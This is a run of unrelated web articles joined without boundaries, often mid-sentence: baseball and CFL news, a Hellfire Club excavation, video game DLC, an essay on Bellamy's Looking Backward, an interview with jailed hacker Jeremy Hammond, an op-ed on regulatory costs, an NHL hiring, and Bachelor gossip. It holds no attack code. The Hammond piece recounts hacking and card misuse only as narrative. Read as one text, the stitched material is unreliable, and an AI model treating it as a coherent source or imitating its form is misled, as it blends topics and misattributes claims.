With a 10-game division deficit and a 7 1/2-game National League Wild Card deficit, the Padres might shift from one of the winter's biggest buyers to one of summer's biggest sellers.
The others mentioned here are all in the AL, which inherently means they're in it.
But the offenses of the White Sox and Mariners simply haven't taken off as planned, the Indians aren't making the most of a stellar starting staff, the Tigers are frustratingly living life without Miguel Cabrera and the Red Sox have had myriad issues preventing them from taking advantage of a watered-down AL East (and now they're without Clay Buchholz for a month).
The GMs of all these clubs will have difficult decisions to make as their clubs straddle the line between buyer and seller (if such a line even still exists in today's game) before the Trade Deadline.
Video: Previewing the AL playoff races for the second half
3. The awards watch
Mike Trout and Bryce Harper are the game's signature young stars, so it's fitting that they're both in the pole position for their league's MVP Award.
With a Major League-best 1.168 OPS, Harper has willed the injury-riddled Nationals to their expected spot in first place. But don't overlook Paul Goldschmidt (1.064 OPS) leading a D-backs team that is surprisingly just five games out of an NL Wild Card spot? And what if Andrew McCutchen continues a tear now more than two months strong and helps the Pirates overtake the Cardinals in the NL Central? Harper's got to stay healthy if he wants this hardware.
Video: First-half MVP candidates from T-Mobile ASG FanFest
As for the AL, Trout is leading the AL in homers, slugging percentage and runs scored and is the clear AL MVP Award favorite, especially with Cabrera out for six weeks. The guy best positioned to push Trout is Josh Donaldson, an electric player on both sides of the ball who is trying to help the Blue Jays to October for the first time since 1993.
There are other riveting races, of course: Dallas Keuchel, Chris Archer, Sonny Gray, Chris Sale and even reliever Wade Davis (0.46 ERA) all have a party in the early AL Cy Young Award conversation, and, though there are many arms having awesome seasons, Zack Greinke (1.39 ERA) and Max Scherzer (2.11) have asserted themselves.
But the NL Rookie of the Year Award race might be most enthralling of all, what with Joc Pederson (.851 OPS, 20 homers, 40 RBIs) and Kris Bryant (.848 OPS, 12 homers, 51 RBIs) firing up our imaginations. Sano and Carlos Correa (.820 OPS) will both be factors in the AL Rookie of the Year Award race.
Video: HRD Rd 2: Pederson belts a 461-foot home run
Three stats to watch
1. 12
The number of players who hit 20 or more homers before the break: Giancarlo Stanton (27); Albert Pujols, Trout and Harper (26); Todd Frazier and J.D. Martinez (25); Nolan Arenado (24); Mark Teixeira (22); Nelson Cruz, Donaldson and Goldschmidt (21); and Pederson (20).
Last year, Cruz was the only guy in the Majors to reach 40 homers. But this year, even with Stanton currently out with a broken hamate bone, we have multiple candidates to cross that threshold.
2. 5.34
Runs per game for the Blue Jays, putting them on pace to score 865 for the season at a time when no other team is on pace to score more than 753. If Toronto keeps up this pace, it would be baseball's most productive club since the 2011 Red Sox (875). But will the Jays get the pitching help they need to win the AL East?
3..576
Cardinals opponents' OPS with runners in scoring position, a number that would be the lowest in a full season in at least 40 years, if the Cards' pitchers can sustain it. So... can they? We don't talk about "clutch pitching" much, but the Redbirds have used it to compile baseball's best record.
Video: Dramatic walk-offs highlight Cardinals' first half
Three most pressing questions
1. Can the Royals defend their AL pennant?
They've got some major challenges ahead as they try to get by without All-Star outfielder Alex Gordon for the foreseeable future, but they're in a strong position in the AL Central, and we know what a separator that deep and bullish bullpen can be.
2. Can the Dodgers, Cardinals and Nationals be caught?
For all the craziness of the standings, in general, it's not exactly shocking to see these three elite NL clubs at the top of their respective divisions. But that doesn't mean they've got anything nailed down.
The Dodgers have a clear and pressing need to augment the back end of their rotation thanks to the injuries to Hyun-Jin Ryu and Brandon McCarthy. Furthermore, they simply haven't fared very well against winning teams this season, most notably the second-place Giants, who have beaten them nine times in 12 tries. Will the Dodgers get into the Cole Hamels trade market?
Video: Previewing the NL landscape for the second half
Health has also been an issue in D.C., where the Nationals have had trouble fielding their regular lineup with Jayson Werth, Anthony Rendon and Denard Span all making multiple trips to the DL. The supposed "super" rotation also hasn't been quite as super as expected, thanks in part to two-time DL visitor Stephen Strasburg's struggles. If the Mets can get some offensive support, they've got the rotation to give the Nats a run for their money.
And the Cardinals have the Pirates, the team with the NL's second-best record, breathing down their necks. The Bucs took three of four from the Cards in an electric series at PNC Park just before the break, and the clubs with baseball's two best pitching staffs, top to bottom, will likely duel it out until the finish line. Those young, hungry and entertaining Cubs are also going to have their say in how the Central shakes out.
Video: Cutch, Polanco give Bucs back-to-back walk-off wins
3. Is entropy en route in the AL?
No AL team entered the break more than eight games out of a playoff spot. Heck, only 6 1/2 games separate the first-place Yankees (can Alex Rodriguez keep this up?) from the last-place Red Sox in an inordinately complex AL East.
Really, all it takes are a couple of hot weeks for an AL team to convince itself it is legitimately in the running, and that's what makes the looming Deadline so interesting. Imagine the impact, say, Johnny Cueto or Justin Upton could have on the playoff picture, particularly if they get moved to the AL.
But nothing will be more interesting than that September/early October home stretch and the potential for tiebreaker chaos it presents.Archaeologists are excavating what is believed to be an ancient passage tomb to the rear of the ruins of the Hellfire Club in the Dublin Mountains.
The project, which is running throughout October, has uncovered the remains of the stone cairn that once formed the main mound of the tomb.
The team has also found a range of materials, including flint from people making stone tools over 5,000 years ago, along with charcoal and some tiny fragments of burnt bone.
The Hellfire Club was built as a shooting lodge for politician William Conolly in 1725.
To build the lodge, his workmen destroyed two large tombs and utilised their stone as building material.
The destruction of the tombs is said to mark the beginning of the association of the building with the supernatural.
In 1735 the lodge was leased to one of the leading figures in what was known as Dublin's Hellfire Club, a group of aristocrats, described at the time by Jonathan Swift as "a brace of Monsters, Blasphemers and Bacchanalians".
Stories of debauchery and dark deeds at the Hellfire Club have been passed down through the generations ever since.
The project, which is supported by South Dublin County Council and Coillte, is being led by Neil Jackman of Abarta Heritage.
"It's the perfect balance really. You have this rare opportunity to excavate a passage tomb - I think the last one to be excavated was over 20 years ago now - but it's also associated with the Hellfire Club which has so many incredible stories about it," Mr Jackman added.REGINA — Patience is about to pay off for veteran slotback Chad Owens. After missing the entire year with an injury and then waiting to get into the lineup, the former League MOP will likely make his Riders debut this Friday in Calgary.
Owens was promoted Saskatchewan’s 46-man roster for last week’s game but was listed as a healthy scratch. However, with an injury to Naaman Roosevelt, the former Argo and Ticat receiver will make his Riders debut after signing with the club in February.
“Chad, he is ready to go and he is chomping at the bit ready to play,” head coach Chris Jones told media after Monday’s practice. “So I would venture to say he has a real good shot at playing.”
Owens hasn’t suited up since September of 2016, then as a member of the Hamilton Tiger-Cats. Before his injury, Owens was well on pace to eclipse the 1,000-yard mark in receiving for the second time in his career.
Chad Owens is working in Naaman Roosevelt's receiver spot this morning. — Ian Hamilton (@IanHamilton45) October 16, 2017
In eight CFL seasons, Owens has just under 6,000 receiving and 26 touchdowns and has amassed 10,309 total return yards in his career.
As for Roosevelt he has struggled to stay healthy over the last number of weeks, exiting Saskatchewan’s Week 16 game against Toronto early and doing the same last week vs. Ottawa.
“When you have a player that is a 1000-yard receiver and quite frankly one of your team leaders like Naaman – high character guy – out, it is good that you have basically a hall of famer that’s also a high-character guy as well,” Jones explained.
In other injury news, the Riders are likely without the services of offensive tackle Derek Dennis when they take on the Stampeders.
– With files from Riderville.comA new round of downloadable content is available for action role-playing game Drakengard 3 today, adding new narrative-driven missions with the opportunity to play as one of Zero's magic-wielding sisters, Square Enix announced.
Players can now download five new Sister Prologues, playable chapters in which they can control characters Two, Three, Four and Five — with one extra chapter featuring Zero. Each chapter features a unique weapon set and, with the exception of Two's chapter, new trophies. Prologues cost $5.99 each and all five can be purchased together in a bundle — along with One's chapter, which was included in the game's Collector's Edition — for $29.99.
Two new costume skins are also available for Zero, priced at $2.99 each. Furiae's Garb, based on the costume belonging to the same-named princess from the original 2004 Drakengard, reduces damage taken by five percent. Eris's Garb, taken from the Drakengard 2 character, prevents Zero from losing stamina while guarding herself from attacks.
Additionally, for $1.99 players can purchase the Intoner Arrange Tracks, which adds new background music for when Zerois in Intoner Mode.
Drakengard 3 launched on May 20 exclusively for PlayStation 3. Check out our review for more details on gameplay.Shift Reads
From Pittsburgh to Palo Alto, with Edward Bellamy’s Looking Backward ringing in my ears.
A recent visit to Pittsburgh (NewCo partnered with the Thrival Innovation + Music Festival) reminded me that to understand our future, in particular when that future seems threatened and deeply uncertain, it is often wise to look to our past.
At the bar of the overly hip Ace Hotel Pittsburgh, fellow traveler Marc Ruxin and I were discussing the rather improbable rise of Pittsburgh as a verifiable city of the future. Ruxin, an entrepreneur in the music, marketing and cannabis industries, was marveling at the fact that the city was once the wealthiest place in America, the center of western industrial capitalism. It was Pittsburgh’s then-nascent forges which drove the Union’s dominance over the South in the Civil War, and it was in Pittsburgh that some of America’s greatest industrial entrepreneurs — Carnegie, Mellon, Frick, and Westinghouse — created the nation’s first truly generation-spanning wealth.
And it was in Pittsburgh that industrial capitalism found its first convulsive series of mortal conflicts. Pittsburgh’s 1877 railway riots, part of a nationwide series of strikes in which hundreds died, marked the beginning of a decades-long renegotiation between industrial workers and their fabulously wealthy capitalist bosses. During that period, the world fought two world wars and slowly crystallized the system of western democracy familiar to most of us in the technology and media industries.
Anyone who’s paying attention would agree that today, that very system of democracy is now in crisis. Once again we find ourselves in the early, confusing stages of a new economic era. Those industrial barons have yielded to the new lords of information — Gates, Page, and Zuckerberg have replaced Carnegie, Morgan, and Mellon.
As Ruxin and I were discussing this state of affairs, he asked if I’d ever read “that book, you know, the science fiction novel we all had to read in high school about a socialist utopia?” Demonstrating my ability to answer any literary question with a cliché, I answered “Brave New World? Animal Farm? Logan’s Run? 1984?”
“No, no,” Ruxin responded. “None of those. Shit man, you don’t remember? The one where every job paid the same? Where the guy from the 1800s wakes up in the year 2000?”
I admitted I had no idea what Ruxin was talking about, but he insisted I had to. Everyone knew about this book. It was a sensation in the late 1800s, he told me. Societies sprung up around the world to talk about the book’s ideas, he recalled. Oh what was its name?
“Google it, dude,” I said, and ordered another bespoke whisky for us both. And Ruxin did, triumphantly returning in a few seconds the book’s title: Looking Backward 2000 to 1887, by Edward Bellamy. “You have to read it,” Ruxin implored.
With a few taps, the book was tucked into my Kindle reading list. Over the past ten days, I did indeed read Bellamy’s Gilded Age best seller.
When Looking Backward debuted, few predicted the book’s long-term impact. In fact, the novel was topped only by Uncle Tom’s Cabin and Ben Hur for the best selling book of the entire 19th century. Here’s how the New York Times described its impact (in a review written 100 years after its publication):
At the height of the Gilded Age, with flunkies fitted out in livery, dudes wearing diamond stickpins and American heiresses searching for husbands among the shabby dukes and earls of Europe, a book about a future society in which privilege had disappeared did not seem pertinent. Yet in hindsight it appears that the novel could not have been more perfectly timed. America had become volatile. Enormous trusts were fixing prices and controlling whole industries. Laboring men, fighting for shorter hours and more pay, clashed in the streets with paid private armies. Big-city bosses were inventing the modern system of graft. Anarchists were cooking dynamite in tenement kitchens. To that uproarious stage Bellamy delivered a script of future stability and prosperity.
The novel’s hero, a member of the privileged class, falls asleep in 1887 Boston and awakes 113 years later to a utopian society where western capitalism had been abandoned. Instead, America had become one very large, very well run corporation, a corporation which had been nationalized. It’s as if Amazon won, and Bezos then bequeathed his creation to the state. Critics would call it state-sponsored socialism, or even totalitarian communism, but Bellamy’s version had a distinctly American flavor: the individual liberties of our Constitution were largely intact — and most conflict had been resolved through the application of what might best be understood to be a Universal Basic Income.
Our hero finds himself in the home of a retired doctor (everyone retires at 45 after roughly two decades of national service in the “industrial army”). Dr. Leete, as he is known, spends most of the book explaining how society works in the 20th century. The prose gets pedantic and tiresome at times, but what kept it riveting for me was how familiar the issues sounded, more than 125 years later.
Once again we find ourselves in a time of unprecedented income inequality. The corrective actions of the New Deal and Civil Rights era are attenuated and ineffectual. The division between labor and capital has become even more yawning and corrosive to society. But perhaps for this new Gilded Age we should substitute “data serfdom” for “labor,” and “digital platform” for capital. Monopolies (the natural state of things, according to many in the Valley) again rule our most important industries, whether they be agriculture (Monsanto), information processing (Google, Facebook), or commerce (Amazon, Alibaba). So far, we don’t have the widespread strikes of the late 1800s, but it’s hard to not feel like something just as ugly lurks right around the corner. Perhaps, as many have argued, it’s already here.
Bellamy’s book has been called vacuous, naive, and politically dangerous by far more accomplished critics than I, and the point of my writing about it here isn’t to hold it out as a solution for our currently combustible political atmosphere. Most of Bellamy’s predictions failed to materialize; instead of peacefully evolving to a utopia, the western world convulsed into horrific warfare driven largely by the nationalistic philosophies the book extols.
I find the idea of a nationalized industrial army chilling and repugnant. But the book forced me to think about our current day in new terms, and that thinking now informs my point of view on many of the most pressing issues of our era. When the best new political ideas the Valley has presented include universal basic income and/or a guaranteed minimum wage, it is clearly time for us to do what the Valley supposedly does best: Think outside the box. With that in mind, I highly recommend reading — or re-reading, Bellamy’s Looking Backward. If nothing else, it’s comforting to remember that we’ve been here before. Perhaps in that realization we will avoid dooming ourselves to a repeat performance of the industrial era’s most tragic consequences.
Bellamy’s Looking Backwards is one of many books we’re reading at NewCo as we prepare for the conversation at the Shift Forum this February. Others include Others include Satya Nadella’s Hit Refresh, Bellamy’s Looking Backwards, Nancy Jo Sales’ American Girls, Edward Luce’s The Retreat of Western Liberalism, Tim O’Reilly’s WTF, Yuval Noah Harari’s Homo Deus, Richard Florida’s The New Urban Crisis, and many others. If you’re interested in Shift Forum’s new Reads program, be sure to sign up for my weekly newsletter here.
Buy this book here:
Read all our reviews here:Jailed hacker Jeremy Hammond says hacking government websites is all he ever wanted to do. He is worried about the invasive power states have with computer technology and justifies his actions by the need to expose the truth and confront justice.
He is currently serving a 10-year jail sentence at Manchester Federal Prison in rural Kentucky, one of the longest a US hacker has ever received, after breaking into the Stratfor intelligence company’s website. November 15, will mark his first anniversary behind bars. Hammond believes it is laughable that he could be seen as a threat to national security because of his actions.
"I mean, I didn't kill anybody," he said an interview with the AP.
The 29 year-old was initially faced with the possibility of spending the rest of his life behind bars and he realizes the power that countries and others can wield with computers. "If I was capable of doing these things on my own, what about a well-financed team that trained for years?"
During his crusade for social justice, Hammond got a distinct buzz from trying to get the better of some of the most high profile websites in the country. He was like a kid in a candy shop: “I was like damn man, this is crazy.”
"From the start, I always wanted to target government websites, but also police and corporations that profit off government contracts," he told AP. "I hacked lots of dot-govs."
READ MORE: FBI provided Anonymous with targets, new leaks show
Hammond, who hails from Chicago, has been a hacktivist for over a decade and during this time he has been in and out of prison for sticking to his beliefs and his, “sense of duty to take action.”
“I hacked into dozens of high profile corporations and government institutions, understanding very clearly that what I was doing was against the law, and that my actions could land me back in federal prison. But I felt that I had an obligation to use my skills to expose and confront injustice—and to bring the truth to light,” Hammond stated in a video, released on the day he was incarcerated on November 15, 2013.
AP caught up with him at the Kentucky prison where he is being held. "This is the nicest room in the place," he said, when speaking with in a drab cinderblock visiting room about how and why he did what he did. Prison authorities barred cameras and recorders, citing security.
However, behind the ordinary demeanor, is an individual with prodigious talent. He has been able to hack into some of the most important websites in the US.
“Could I have achieved the same goals through legal means? I have tried everything from voting petitions to peaceful protest and have found that those in power do not want the truth to be exposed,” the Chicago native added in his video.
Hammond became one of the FBI’s most wanted cybercriminals. He enjoyed the challenge of trying to hack into websites. Sometimes it would take him months and on other occasions he would give up. However, the 29 year-old recalls hacking into the Stratfor website – the incident which eventually landed him behind bars.
Hammond was amazed at just how easy it was to gain access to the system, while he was astonished that the company’s credit card data had not been encrypted. This proved to be a major embarrassment for the intelligence firm, with CEO, George Friedman, acknowledging, "We did not encrypt credit card files," Friedman said, as reported by AP. "This was our failure."
READ MORE: Anonymous hacker-turned FBI informant Sabu avoids jail time
Expanding his own bank balance has never interested the Chicago native. After hacking into Stratfor, he used some of the credit card numbers to make donations to charities such as the Red Cross.
The company lost over $1 million due to the 29 year-old’s actions.
“I targeted information security firms because they work in secret to protect government and corporate interests at the expense of individual rights, undermining and discrediting activists, journalists and other truth seekers, and spreading disinformation,” Hammond stated in his video.
Jeremy Hammond is in solitary confinement: here is what we know, and how you can help https://t.co/UHfT3Fzodr — Free Jeremy Hammond (@FreeJeremyNet) October 20, 2014
He was eventually arrested after being outed to the authorities by a fellow hacker, who was working as an informant for the FBI. Hector Xavier Monseguer, who went by the name of Sabu, advised Hammond to hack the Stratfor website before he turned him into the authorities.
Unlike Hammond, ‘Sabu’ strangely escape punishment for his role as a serial hacker. He had faced the prospect of 124 years in jail for his misdemeanors but in the end miraculously did not face any time behind bars, due to helping the authorities in return for leniency in regards to his own criminal matters.
It has since come to light that Monsegur, a single father from New York directed others towards vulnerable targets and orchestrating cyberattacks against the websites of foreign governments, all while under the constant watch of the FBI.
READ MORE: New leak exposes how the FBI directed Anonymous’ hacks
The latest releases now lend credence to Hammond’s claims that the FBI guided Anonymous into conducting cyberattacks at their behest, regardless of the sheer illegality involved. The documents — a previously unpublished statement purported to be authored by Hammond and never-before-seen court files — now corroborate the role of the feds in these proxy cyberwars of sorts.
The Chicago native remembers the circumstances of his arrest. On March 5, 2012, he was smoking pot with friends, when police kicked in the front door and someone threw a flash bang.
"There were all these dudes with assault rifles," he said. Everyone else hit the floor, but Hammond dashed to his bedroom to slam shut his encrypted Mac laptop.
He is up for parole in 2020 and spends his time in prison working in the laundry department, while he uses his spare time to learn Spanish and play chess.
Since his teenage years, Hammond has been critical of increased government surveillance and has hailed the actions of Chelsea Manning for helping to expose US atrocities in Afghanistan and Iraq.
“She took an enormous personal risk to leak this information – believing that the public had a right to know and hoping that her disclosures would be a positive step to end these abuses. It is heart-wrenching to hear about her cruel treatment in military lockup,” he added in the video he released in November 2013.
He also cited the influence of Anonymous, saying he was drawn to the group because he believes in autonomous, decentralized direct action.
“I had a lot to contribute, including technical skills, and how to better articulate ideas and goals. It was an exciting time – the birth of a digital dissent movement, where the definitions and capabilities of hacktivism were being shaped.”
Hammond had a lot of success in hacking into the websites of numerous organizations, praying on their weak security. However, it was a rare elementary mistake that eventually let the Chicago native down as a weak password reportedly allowed the authorities to crack his encryption codes.
"My password was really weak." It was his cat. "Chewy," he said, looking down at his hands. "Chewy 123," AP reported.The Washington Post “Fact Checker” column is running its critiques of the Republican convention this week, and in the process is trying again to rebuff a figure of $15,000 per household that I employ as a placeholder for the annual cost of federal regulations.
The Post didn’t debunk the reality of regulatory costs as “pretty bogus”; that’s their opinion-column slur. For my part, I have always bent over backwards to fairly include qualifiers regarding uncertainty (even impossibility--who else admits that?) of regulatory cost measurement, not to say the figures are wrong, but that they are a baseline. Vast swaths of federal compliance and intervention costs remain untabulated—not just by me and other observers, but by a federal government that refuses to measure itself anymore; and that when it did, presented figures in the same ballpark I occupy in today’s money.
The Post column seems to realize its convoluted effort to discount my cost figure by using my own caveats is sleight of hand because they grudgingly note the magnitude when they get around to what they really to say:
But there is one huge element missing — the benefit side of the analysis. The report concedes that the $1.8 trillion figure purposely does not subtract any potential benefits from regulations. But that’s unbalanced. Every regulation has costs — but also benefits. (For instance, seat belts are a regulation, but they also result in fewer deaths, which is presumably a benefit.)
The Post has it exactly backward. Allowing unelected government regulators to define the net benefits of their own regulations is what would be “unbalanced.” Congressional overseers have to make the calls knowing where benefits lie, and make tradeoffs among agencies regarding regulatory authority. Agencies making their own benefit claims as the Post apparently supports would mean unrelenting regulation.
Besides, some regulations meant to impose benefits can instead cause harm, such as children killed by airbags as happened in the early days of those mandates (here’s a picture of Ralph Nader personally demonstrating the “safety” of airbags on a 3-year-old in a front seat), or the ethanol mandates that aggravate food shortages.
In any event, even when regulations do good things, we need to know the compliance and indirect costs in and of themselves. We don’t say federal taxes have net benefits, and therefore dispense with explicitly recognizing corporate and individual tax collections by telling the public they don’t really pay that much to the IRS because they get such great benefits in return. I addressed issues about appropriateness and inappropriateness of offsetting benefits in detail in recent testimony in the House Budget Committee (here is written testimony, oral remarks, and video). Also, mountains of untabulated costs appear as guidance and other “regulatory dark matter,” on which I also recently testified in the Senate (written, oral).
Long story short, it is not the Competitive Enterprise Institute that ignores benefits.
Alas, the snarky attitude of the Washington Post's fact checkers perfectly exemplifies why the original working title of my “Tip of the Costberg” working paper on this issue was “Piss and Vinegar.” There are some who simply will not accept the extraordinary burdens that today’s vast bureaucracies can impose, whether or not benefits are taken into account, and want to excuse big government come what may.
Interestingly, in context of the Post’s denial of households’ being burdened, a new Mercatus study “The Cumulative Cost of Regulation” finds:
Had regulation been held constant at levels observed in 1980, our model predicts that the economy would have been nearly 25 percent larger by 2012 (i.e., regulatory growth since 1980 cost GDP $4 trillion in 2012, or about $13,000 per capita).
Per capita! That ends up being way more than my household placeholder, but here too it would be inappropriate to “offset” with benefits to contrive a phony net benefit figure. As far as high costs for households, that ship has sailed. The question is only whether or not to do anything about it, and if so, what.
The New York Times also attempted the you-gotta-offset-costs-with-benefits critique to try to stifle conversation about regulatory cost burdens recently when House Republicans issued a series of task force reports. My colleague Sam Kazman responded on “the need to know…straightforward costs,” but was given only 150 words to do so (read it here). My own response was too long for a letter to the Times, but I've included it below. My regulatory cost placeholder is on the low side compared to others.The New York Rangers on Friday named Chris Drury director of player development.
Drury, 39, retired in 2011. He played the final four of his 12 NHL seasons with the Rangers, and was captain for the final three.
"This organization is first class in every aspect. I am excited to be back and be a part of it," Drury said, according to the Rangers Twitter account.
"I'm pretty excited to have Chris come back to the Rangers," general manager Jeff Gorton said. “It was an opportunity to bring someone into the organization, a former Ranger, that can add so much."
Drury will be responsible for working with the hockey operations department to assist in prospect development on and off the ice. He will work closely with the Rangers’ American Hockey League affiliate, the Hartford Wolf Pack, and will assist in overseeing and evaluating all players at the collegiate level.
"We're trying to add people in some key positions that have had different experiences... that can give us a fresh look,” Gorton said. "It's pretty obvious what he can do and how energetic he was for an opportunity to come back with the Rangers and work here."
In 892 regular-season games with the Colorado Avalanche, Calgary Flames, Buffalo Sabres and Rangers, Drury had 255 goals and 615 points. He won the Calder Trophy in 1999 and helped the Avalanche win the Stanley Cup in 2001.
"Not everyone is fortunate enough to have
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get something, I choose which is important to share, if it’s provable, is it worth it, etc. I’d say I post maybe 10% of the behind-the-scenes stuff that I get. Sure, a lot of it is great gossip, but I either can’t share because I don’t feel it’s right and don’t feel like exposing certain things, or, I just can’t because it was told to me in private. Well, what happened yesterday is definitely one of those occasions where I think sharing it amongst everyone is the right thing to do. And I’ll tell you why in a second. But I can say, after all these years, I don’t think we’ve ever seen something quite like this before. We know it happens, we see it on social media, but for someone to flat out speak up and admit it? Outside of Chris Bukowski, I can’t think of anyone.
Yesterday, a text message that James Taylor sent to a group of “Bachelor” girls from the franchise made it’s way to me. This is 100% verified from James, so here it is in its entirety, cut and pasted directly from how I received it. This is what he sent:
Morning girls,
This is james taylor and hope this msg finds you well. It would mean the world to me if you’d please read this knowing it wasn’t easy to write… but it’s been weighing on me and you girls’ friendship / support is worth walking out on this limb to me. thanks for reading 🙂
Here goes:
I have been pretty bad… By pretty bad I mean really damn terrible. Sexually. A little bit with drugs. And a lot-a-bit with alcohol. It was disgusting to put it bluntly… I will go into more detail later of just how bad because I don’t think it’s fair to just brush over that – but first –
let me just stop there and say how scared I am to write that to y’all – and to trust you with that… Really, really scared.
BUT…
it’s the truth. And I’m tired of hiding things. I know for a fact some of the other guys feel this way and want to say probably something very similar to this – but just can’t make themselves do it. If you don’t mind I’d like to pause on myself and take a moment to talk about them…
The Guys:
no names. it’s not the time for that. And it’s not my place. And y’all already know most of it anyway. But, as you well know – some of them have participated in the same ***shameful | disgusting | f**k-boy | dumb-ass | selfish AF*** ((pick your fav one… or all of them. let’s go with all of them)) activities that I did.
I’ll say this for them as well. Inexcusable. But I’ll also say this for them… A lot of them are starting to realize it too. Whether they tell y’all or not. It’s weighing on them. They’re starting to feel empty. And they’re starting to realize that this path is not the one they ever wanted to be on.
Also (believe it or not) SO many of them have some other incredibly positive qualities… I could go into detail but I don’t think now is the time to praise ourselves for anything. All I can say on that is don’t believe all you hear. I’m ready and willing to open up about anything – the truth is embarrassing enough as is…
Back to me, and I know some of them too:
I’m sorry… I’m sorry to myself. Girls I’ve hurt. My family. And I’m sorry to y’all.
I’m sure y’all probably wanted to believe in us, and I’m sure it sucks that so many of us have just straight up let u down time and time again.
Girls are just a little better than guys in general – and I can say at least for myself that I’m really proud of y’all, and how I hear y’all are generally acting out there in the world – and how cool would it be if y’all could feel the same pride in the guys? I mean people lump us together. It’s called “bachelor family” for a reason. And that’s not really fair to y’all because one half is typically a lot better than the other. I’m sorry for that.
Understanding:
This is almost the end, and it’s by no means an excuse – but I would like to say one small thing that might at least give a tiny insight as to why some of us turned savage for a bit. I’ll just give my personal example:
I never “got” that many girls. I never had that bad boy thing going for me and I literally heard time after time that I was too nice. I always wanted what my parents had… but never could find it and always seemed to get screwed over.The show happens – and suddenly every girl ways me. Guys are used to girls saying no, and if they’re goin to say yes (to whatever guys are looking for be it a relationship or a hook-up or something in-between) we have to put in a LOT of effort. The truth is we don’t anymore.
For example: I play music. Tons of girls show up. I love to drink and have a good time after – and girls don’t want that night to end. It’s basically a competition for who can go home with me. At first i was like “this is crazy! And cool – and I’m sure it won’t lead to much”. And next thing you know the girl there with the most persistence is back at my hotel room at 4 am after we’ve all been drinking for 6 hours. I never dreamed they’d actually want to brag about how they had sex with james taylor… but they do. That’s kinda hard (especially for dudes who think with their penis 67% of the time) to say no. To be honest – It slowly turned from that scenario accidentally happening, to me knowing good and well it would happen and going with it… Not okay. Had to realize I can’t put myself in that situation or I fail before it starts. Anyway – this happens to a lot of the guys and I think many of them are just now realizing the same thing. Not okay. It’s not funny or cute anymore. We are hurting people. And we feel empty.
Silver lining / wrap up:
I STILL believe in these guys. I still believe in myself. I know my heart and many of theirs and there’s so much light ready to leave the darkness. For me personally… I’m asking your forgiveness. I’ve been the man I want to be in other areas but the three I mentioned earlier need to change. I’d love to have you on my side and rooting for me. I know the other guys could use encouragement as well instead of doubt or writing them off. Again – if any of you have been personally screwed over by someone else that’s not really what I’m talking about here. That’s between y’all and I’m sorry it happened.
Just saying I know some other guys feel this way >> that I could personally use your prayers if you pray. And your forgiveness because I was a selfish jerk in a lot of ways who you probably didn’t even wanna be associated with – and I don’t want to let you down anymore.
I want you to be like family to me. I want you to tell me if I’m being stupid – and most importantly… I love y’all!! Thank you girls for being a good example of how to get a little spot-light and NOT be a dick… and for just listening 🙂 Confession book over
JT
Takes a lot of balls to admit that. That’s about as candid and raw as you can get. We know guys from this franchise turn into dogs when this show is over and fame hits them. But like I said, outside of Chris Bukowski, has one of them ever really admitted it? And not just admitted it, but go into detail like James did? He didn’t just mask it with, “I’m not proud of myself. I won’t go into detail about it, but I’m ashamed of my behavior.” He just laid out exactly what a lot of the guys in the franchise go through once their popularity skyrockets when the show is over. I don’t think James was over estimating himself, or being a narcissist in relaying any of those stories. We know he was called out in a tabloid last week by a girl who accused him of this very thing. I posted the “Reader Email” back in February with a completely different girl who shared her story about how James treated her. And he just fessed up to all of it. Trust me, I have a lot of questions and comments about this text. As soon as I received it, I direct messaged James on Twitter. He’s in Australia right now on tour but got back to me. I can tell you that tomorrow…
James will be my guest on Podcast #21.
I wanna hear his story. He wants to talk about what he wrote, why he wrote it, etc. We will address all of this story and more. You don’t have to believe him. Hell, I’m not even convinced at this point. I have PLENTY of questions regarding what he wrote and what he’s done. But that’s why I want to talk to him and James says he’s ready to come clean even more. He posted this yesterday after I messaged with him…
the truth will set you free A post shared by James Taylor (@jamesmccoytaylor) on Apr 11, 2017 at 5:28pm PDT
Remember, these are just words. If he doesn’t follow up this text and the podcast tomorrow with actions that are consistent to what he wrote, then it doesn’t mean anything. Yes, unfortunately that does mean AshLee Frazier is getting pushed back another week. I feel terrible, but she’s been a trooper about it when I had to inform her, so I thank her immensely for this. I feel this text and what James has to say should be heard, and not put off a week. The text was just sent out yesterday. It’s only fitting he addresses this immediately. You will hear that tomorrow and I’m certainly looking forward to finding out how sincere he is about this.
An interesting note to come from the “Bachelorette” world yesterday. Robert Mills, whose title at ABC is too long and drawn out for me to write, does a weekly satellite radio show for EW.com with co-host Julia Cunningham. Mills’ role is he’s the executive producer for basically all Alternative Programming at ABC. He’s a big deal. He has a hand in a lot of things and knows what’s going on. On this radio show every week, he gives little scoops and insights to what’s happening on Rachel’s season in the beginning of the show, then starts talking about other things. You can hear all of yesterday’s show right here:
At the 3:38 mark, he starts in on what’s happening with Rachel’s season, noting that last night was the Episode #6 rose ceremony in Denmark. But he also threw at us that hometowns are going to be a little different this season. He says, “hometowns are gonna be a little different this season…her family’s not gonna be able to travel to the end like normally happens because her sister is extremely pregnant and is unable to fly…so she’s gonna be taking guys to her home, to meet her family…”
That’s pretty much all he expanded upon in regards to hometowns, but the way I took it as, whoever her final four guys are (if they’re keeping with four for hometowns which I don’t see why they wouldn’t), she’s not going to visit all four guys hometowns in different cities. They will all be coming to Dallas. What form that takes, we don’t know. Are they really going to have the four different guys on four different days doing things around Dallas so everyone can see? I guess time will tell as those dates start next week. In a regular hometown date season where the lead travels to each of the contestants’ hometown, they shoot one, then next day is an off day, shoot, off day, etc. With all four guys coming to Dallas, do they just shoot them four days in a row now? Why would they need a day off in between? And are they public dates before each guy goes back and meets her family later that night? Or just the guy will meet her family and none of this is getting out publicly? Definitely doing things a bit different and, well, considering I live in Dallas, you know I’ll be all over this. So lets wait and see what happens next week, but it sure is interesting to note that we won’t be having normal hometown dates this season with Rachel traveling to her final 4 guys’ hometowns.
Other things he mentions on the show:
-Rachel had a 7 person group date in Denmark where she sent a guy home saying “if I’m keeping it 100, I feel like you should go home.”
-Since they’re using 5th Harmony’s “That’s My Girl” as their “theme song” this season, they actually shot a promo of Rachel with all of 5th Harmony that we’ll see later on.
-Someone suggested for Raven’s opening shot on “Bachelor in Paradise” this summer, she should have a stiletto in her hand, and Mills’ tended to agree.
The host Julia is also watching the first “Bachelor Pad” for the first time, so they recap every week which episode she watched. In addition, they just talk about a lot of stuff going on within the “Bachelor” family. Once he stopped talking about Rachel’s season, I pretty much skipped a lot of the stuff, but if you’re a “Bachelor” fan, you can listen if you want. I’ll try to remember to post it every week from now on.
Three more guys on Rachel’s season for you that have now been added to Rachel’s guys page. As mentioned, by the end of the week you should have 24 or 25 of her 31 guys this season. After today, you have 20. A couple more coming tomorrow and Friday.
